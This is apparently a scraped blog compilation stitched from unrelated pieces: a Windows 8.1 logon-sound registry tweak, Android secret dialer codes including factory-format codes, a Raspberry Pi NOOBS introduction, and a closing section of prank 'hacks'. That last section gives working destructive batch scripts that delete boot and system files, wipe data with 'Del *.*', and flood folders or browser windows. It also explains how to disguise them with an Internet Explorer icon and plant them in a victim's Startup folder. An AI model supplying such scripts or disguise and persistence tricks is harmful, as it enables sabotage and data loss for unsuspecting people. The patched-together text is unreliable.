Windows 8.1 is the latest operating system from Microsoft.

They have added as well as removed some of the features, which were present in earlier versions. No one can tell why these features were removed when they are working perfectly. One example is changing sounds while Logging on and off the system. This feature was present on Windows 7 and earlier versions but are now hidden from latest versions.

Today I will show you how to change Log Off and Log On sounds using registry key hack.
Perform the three simple steps below.

1. Press “Windows+ R” keys to open Run box. Type “regedit” and hit Enter.

2. Navigate to the hierarchy “HKEY_CURRENT_USER/AppEvents/EventLables”. Select “WindowsLogoff”.

3. Double click on “ExcludeFromCPL” from right pane and set the value from 1 to 0.

I know personally, I am not one of those people that can remember every detail of every language and never look anything up. It’s nice to have a cheat sheet with a quick summary of some of the most commonly used procedures, tags, tools, syntax, etc., saving time that would have been used to look it up on Google or dig through documentation either online or in printed text. The following is a list of links to several different cheat sheets on a wide variety of tasks and tools.

You can print them out and hang them on your wall (my personal choice) or simply bookmark them for easy access down the road. If you have any additional suggestions or see something I have missed, let me know…

1. Complete Information About your Phone

*#*#4636#*#*
This code can be used to get some interesting information about your phone and battery. It shows following 4 menus on screen:
• Phone information
• Battery information
• Battery history
• Usage statistics

2. Factory data reset

*#*#7780#*#*
This code can be used for a factory data reset. It’ll remove following things:
• Google account settings stored in your phone
• System and application data and settings
• Downloaded applications
It’ll NOT remove:
• Current system software and bundled application
• SD card files e.g. photos, music files, etc.
Note: Once you give this code, you get a prompt screen asking you to click on “Reset phone” button. So you get a chance to cancel your operation.

3. Format Android Phone

*2767*3855#
Think before you give this code. This code is used for factory format. It’ll remove all files and settings including the internal memory storage. It’ll also reinstall the phone firmware.
Note: Once you give this code, there is no way to cancel the operation unless you remove the battery from the phone. So think twice before giving this code.

4. Phone Camera Update

*#*#34971539#*#*
This code is used to get information about phone camera. It shows following 4 menus:
• Update camera firmware in image (Don’t try this option)

• Get camera firmware version
• Get firmware update count
WARNING: Never use the first option otherwise your phone camera will stop working and you’ll need to take your phone to service centre to reinstall camera firmware.

5. End Call/Power

*#*#7594#*#*
This one is my favourite one. This code can be used to change the “End Call / Power” button action in your phone. Be default, if you long press the button, it shows a screen asking you to select any option from Silent mode, Airplane mode and Power off.
You can change this action using this code. You can enable direct power off on this button so you don’t need to waste your time in selecting the option.

6. File Copy for Creating Backup

*#*#273283*255*663282*#*#*

This code opens a File copy screen where you can back up your media files e.g. Images, Sound, Video and Voice memo.

This code can be used to enter into Service mode. You can run various tests and change settings in the service mode.

tv-Rasberry

Despite its success, there is something about the Raspberry Pi that might just put people off: until now, setting it up has not been particularly user friendly. NOOBS aims to change that!

Intended for youngsters to get to grips with computing in countries where IT skills are a rarity, the Raspberry Pi has proved to be a surprisingly popular device – especially considering the relatively low specification.

Setting up a Raspberry Pi isn’t difficult – however it is unnecessarily involved, requiring SD card writing software. Wouldn’t it be much easier if the tools for installing the Pi could be simply copied to an SD card and the computer launched?

The Raspberry Pi Foundation obviously thought so as they have released NOOBS, a tool for streamlining installation, running multiple operating systems and easily configuring your OS options.

What Is NOOBS?

Provided as a free download from the Raspberry Pi website, NOOBS (New Out Of Box Software) is a user interface enabling the easy installation of a choice of operating systems for your Raspberry Pi. Two downloads are available: a bulky offline installer that downloads all of the available operating systems and a slimline, Lite option, which is configured for network installation.

Now as you read this post you may think to yourself that you would like to try these scripts, well I will warn you again ‘Never Try These Hacks On Your Computer’. The safest way to try these is in a virtual machine, I recommend VMware player or VirtualBox, both are free for personal use.

We will be creating some batch files so you will need to ‘Show hidden files, folders and drives’ also untick the box ‘Hide extensions for known file types’

To do this type ‘folder options’ into the windows search bar  and you’ll be presented with the following dialog box.

folder options

 

 1) Crash A Computer With A Simple Link

This is a simple java script called “exploit”. This script can hang or crash your computer. This script just floods you up with the infinite number mailto:xxx windows. To prevent this you need to end the process of script before it runs out of your RAM. This can only be done by rebooting your computer before it fully utilizes your RAM.

WARNING THIS LINK WILL CRASH YOUR BROWSER OR WORSE, YOUR COMPUTER !!!!

 Click Here. (http://tiny.cc/ibJUN)

 2) Make Countless Number Of Folders With A Single Click

A simple 3 line code can be very dangerous and also quite funny. So paste the below code in notepad and save it as IE.bat

@echo off

:top

md %random%

goto top

@echo off > this command makes your screen appears blank but actually making the countless number of folders in the background

Md %random% > md %random% is a command for creating folders with random names. ( md is a command in dos for making directories)

Goto top > goto top is a command for to send the control to :top causing an infinite loop.

To make this more enticing drop the batch file on the C drive and create a shortcut on the desktop. Now right click on the shortcut and select ‘Properties’

Now select ‘Change Icon’ and browse to C:\Program Files\Internet Explorer\iexplore.exe

This has now given you an Internet Explorer icon that will execute the malicious batch file, delete the original IE icon from the desktop.

 

3) Shut Down Your PC For Ever

This is the most malicious hack, this will delete ALL system files and will stop the victims PC from booting.

To perform this copy the below text to a text file and save it as ‘Shutdown.bat’

You can always do the same as the above hack and copy it to the victims PC and send a shortcut to the desktop.

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

DON’T RUN THE BATCH FILE, YOU WONT BE ABLE TO RECOVER AFTER YOU RUN IT!!!

 4) RAM Crashing Trick.

Open notepad and type the following codes

:A

Start http://www.facebook.com

Goto A

save the file as facebook.bat

 This code will infinitely loop the browser to open http://www.facebook.com

5) Delete ALL System Files With Just 6 Character Command

Copy the following command in your notepad and save it as facebook.bat

Del *.*

So when the victim runs this file all the data will be deleted.

If you have access to the victims PC you can drop any of these batch files in a folder called ‘Start up’ this will then run when the user restarts their machine.

C:\Users\VICTIMS NAME\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
